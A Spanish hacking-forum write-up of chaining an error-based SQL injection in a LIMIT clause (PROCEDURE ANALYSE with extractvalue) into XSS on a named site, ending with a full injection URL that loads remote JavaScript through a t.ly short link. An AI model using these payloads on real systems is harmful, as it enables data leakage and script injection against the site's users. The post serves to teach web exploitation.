Publicado el 08/08/2023 12:08:00 en Hacking Web.
Author: l0ve | Total de votos: 10 Vote
Hola gente, hoy toca explicar un XSS usando técnicas un poco no convencionales, por lo que vamos a estar un rato jugando ... a pesar de ello el vector es conocido pero en mi opinión personal algo rebuscado por el depth que tiene ... por lo que a veces nuestro entorno es limitado y no hay otra que ingeniersela al mejor estilo h4x0r:
1) Se encontro una potencial URL vulnerable

.
2) no conocemos los vectores ni potenciales candidatos vulnerables

3) cambiamos los valores de limit y offset en la URL:
<br /> <b>Notice</b>: A non well formed numeric value encountered in <b>/var/www/ddlr/ajax.php</b> on line <b>10</b><br />
ok esto es interesante, probamos poniendo palabras aleatorias a estas variables ..
https://diosdelared.com/ajax.php?offset=5&limit=test&order=id
Mariadb syntax error near 'test.
Conseguimos un error de mysql, y esto es muy importante ya que podría ser un potencial sql injection.
con esto podemos ver algúnas cosas .. la primera es que la consulta esta abierta; eso quiere decir que no filtro un carácter determinado. En otras ocaciones usando números largos o caracteres especiales podríamos generar errores pero nada más ya que son errores de codificacion o de limites pero no como vectores para una posterior sql injection por ejemplo poner 99999 no es más que un número que por su tamaño es demasiado grande y produce un error pero no acepta caracteres usables, incluso se puede ver que en ocaciones que se filtran carácteres determinados como las comúnes comilas por html entities o similares, pero en este caso podemos usar valores de cualquier tipo más o menos .. (excepto por las comillas simple y dobles). También no esta diciendo que hay un sql injection, ya que los carácteres que puso el usuario intervinieron en la consulta interna a una db. Por ahora no tenemos mucha información de como es la consulta internamente, pero como estamos antes un potencial error based sql injection que significa que producimos errores a proposito o indirectamente una consulta sql para obtener información sobre la db o la consulta.
para saber más de la estructura interna de una consulta que no se conoce se puede forzar errores en sus variables al utilizar / o algun carácter.
MariaDB server version for the right syntax to use near DESC LIMIT 1, 2' at line 1
con esto conocemos que la consulta es parecida a esta:
select * from noticias order by id DESC limit 1,2;
como no filtra carácteres en limit podemos poner lo que nosotros queramos y gracías a error based obtener información de la db como queramos.
La siguiente fase
Lo correcto acá es explotar este sql injection, el problema es que la clausula limit es muy límitada de hecho no es explotable y es normal que limit no tenga filtros por que básicamente es inexplotable pero ... podemos utilizar un procedimiento (Procedure de MySQL) o subrutina que esta no necesita tener un vinculo especial ya que solo ejecutara su contenido .. la ubicación es limit esta bien ya que no es afectado por otra parte de la consulta, esto quiere decir que no es afectado por el codigo a la derecha ni a la izquierda como lo podria ser un select, union etc por lo que estar justo en limit sería lo correcto.
limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
con un poco de imaginación podemos obtener un error con información ... este error es bueno por que no es un error de syntaxis si no más bien del formato de lo que pasamos en extractvalue() en este caso un xml XPath. Como el contenido del xml es inválido nos muestra:
unknow column 'ssa'
como vemos aprovechamos el bug y obtenemos la versión de la db:

.
en este caso el usuario actual y el host:

.
esto es limitado por que no puede ejectuar consultas al estilo (select password from mysql.user) no son soportadas por el procedimiento por lo que nos olvidamos desde ya el sql injection.
pero hay una pequeña posibilidad de que si podamos explotar xss, la posibilidad es pequeña y por que? no podemos usar mas de 32 caracteres incluyendo el espacio lo que suele dar errores tipo:
<br /> <b>Notice</b>: A non well formed numeric value encountered in <b>/var/www/ddlr/ajax.php</b> on line <b>10</b><br /> Error en la consulta: XPATH syntax error: '<script src="https://...'
donde esos 3 ... sería que la url es muy larga y no se mostrara, lo que necesitmos es poder poner código interesante, algo más que un <h1>.

.
lo que necesitamos para ejecutar un javascript es: <script src=""></script> donde src puede ser local o remoto y donde es necesario que </script> se encuentre cerrado, cualquier problema en las etiquetas <script> o </script> o en un espacio y la inyección es inválida ..
como podemos ver ya de por si necesitamos unos 24 caracteres para inyectar un script valido, solo nos quedan 8 carácteres para nuestra url.
contando: <script src=""></script> = 24 carácteres.
pero agregar https:// ocupa 8 .. omg esto es muy malo para que nuestro xss funcione, pero vamos a intentar achicar lo más que podamos la url:
<script src=https://></script>
lo que hicimos es borrar "", (<script src="https://"></script>) esto no afecta a la url ya que src sabe automáticamente donde empieza y termina un argumento, por lo que lo tomara sin ""
ok esta un poco mejor, ahorramos 2 carácteres y nos sobra 2 (30/32 usados), pero es imposible poner una url en 2 carácteres, por lo que vamos a tener que achicar aún más y buscar la forma para ello lo hacemos así:
<script src=//></script>
utilizando // hacemos la sintesis de https:// por lo que // se comportara como una url.
ahora nos quedan 8 caracteres libres!, pero una url de 8 carácteres? usar una ip tipo 1.1.1.1? es casi imposible pero ...
Con un poco de imaginación podemos utilizar un acortador .. los problemas de los acortadores es que tiene que poder ser de 8 caracteres .. y la la url luego del dominio del acortador me refiero a url.com/contenido debe ser lo más pequeño posible ..
problemas:
1) dominios tan diminutos a veces son negocios de miles de dolares que no son usados para "acortadores".
2) los acortadores son tan populares que los valores luego de url.com/ suele ser de 5 carácteres o más y la razón es simple, los acortadores con url tipo /a o /as /123 ya fueron utilizando por algúna persona en el mundo por que solo requieren 1,2,3 carácteres.
así que me toco elegir el mejor acortador que pude: t.ly, este tiene 4 letras en su dominio y nos quedan solo 3 letras para el resto de la url ... ese resto de url es lo de /id donde id sería las letras para acceder al acortador ya que / seria el primer carácter obligatorio.
luego de mucho rato consegui: t.ly/-_- una url ridículamente pequeña.
con lo justo pudimos explotar el xss:
<script src=//t.ly/-_-></script>
pero la historia no termina ahí, no posible en los servidores actuales llamar a código javascript desde otros dominios, por que genera un problema de CORS, lo que quiere decir que solo dominios autorizados pueden ejecutar cosas, enviar u obtener recursos ... algúno servidores lo tienen deshabilitado.
todo esta terminado? estamos perdidos?
bueno no ... como somos re h4x0r hyper mega red, hay una posible solución ... y el analisis fue este:
si yo puedo modificar mi avatar como usuario ... o puedo compartir una imágen .. supongo que tienen un lugar para ello, sera en el dominio principal? sera en otro dominio? si es en otro dominio sería pago .. además no hay seguridad de disponibilidad, si es propio entonces te gustaría que los recursos esten en un lugar diferente .. ok esta bien, atravez de img.ddlr.com podemos subir esos recursos como usuario, pero tendra seguridad de CORS? claro, como no iva a tenerlo .. pero estamos salvados, img.ddlr.com esta autorizado para operar en el dominio principal.
ok eso es todo?
no .. explotar algo tan limitado (utilizando varias cosas no convencionales) queremos y necesitamos hacer algo "no convencional" para un xss ... entonces .. por que no jugamos con xss?
bueno, vamos a jugar literalmente con un xss, vamos a crear el juego del Pong, no hace falta presentanción para ello xd.
pero js no va a ejecutarse asi por que si .. necesita una etiqueta en donde apoyarse .. necesitamos algo donde ejecutar nuestro juego, un "tag", veamos el código disponible:
<br /> <b>Notice</b>: A non well formed numeric value encountered in <b>/var/www/ddlr/ajax.php</b> on line <b>10</b><br />
uhh .. otra vez no .. solo 2 etiquetas <b> y </br>, una broma? eso es toda la web?
por suerte y descarte por lógica nos queda una etiqueta válida <b>.
a estos le llamo hacer cálculos no sobra ni falta nada xd.
como un pong es complejo, utilizaremos un <canvas>, <canvas> es como un papel donde se puede dibujar lo que quieras, hacer videojuegos lo que se te ocurra, en este caso es lo mejor para un pong.
por lo que vamos a modificar la etiqueta <b> para que ahora sea un <canvas>
así que dentro de nuesto .js ponemos:
const paragraph = document.querySelector('b'); const contenidoOriginal = paragraph.innerHTML; const nuevoContenido = contenidoOriginal.replace(/Notice/g, '<canvas></canvas>');
lo que va a hacer es reemplazar <b>Notice</b>: por el <canvas> de nuestro pong .. como no voy a publicar el codigo completo del pong dejo la url para ver el .js final:
https://img.ddlr.org/522433673904229735-dsp.js
.
Url de inyección final:
https://diosdelared.com/ajax.php?offset=1&limit=1%20procedure%20analyse(extractvalue(rand(),concat(0x3C736372697074207372633D2F2F742E6C792F2D5F2D3E3C2F7363726970743E)),1);&order=id&order=id
y resultado final: "Jugando con un xss en sql injection de forma poco convencional"

.
Jugando al Counter-strike o Minecraft con XSS:
https://www.openbugbounty.org/blog/_r00t1ng_/using-xss-to-play-games-on-site/
.
pd: no agrege más imágenes por que me olvide de sacar caps.
Post edición: Hay otras formas de ahorrarse caracteres, https://www.vertex42.com/ExcelTips/unicode-symbols.html
por ejemplo los de 9216 a 9249 y de 9321 a 9331 entre otros como emoticones.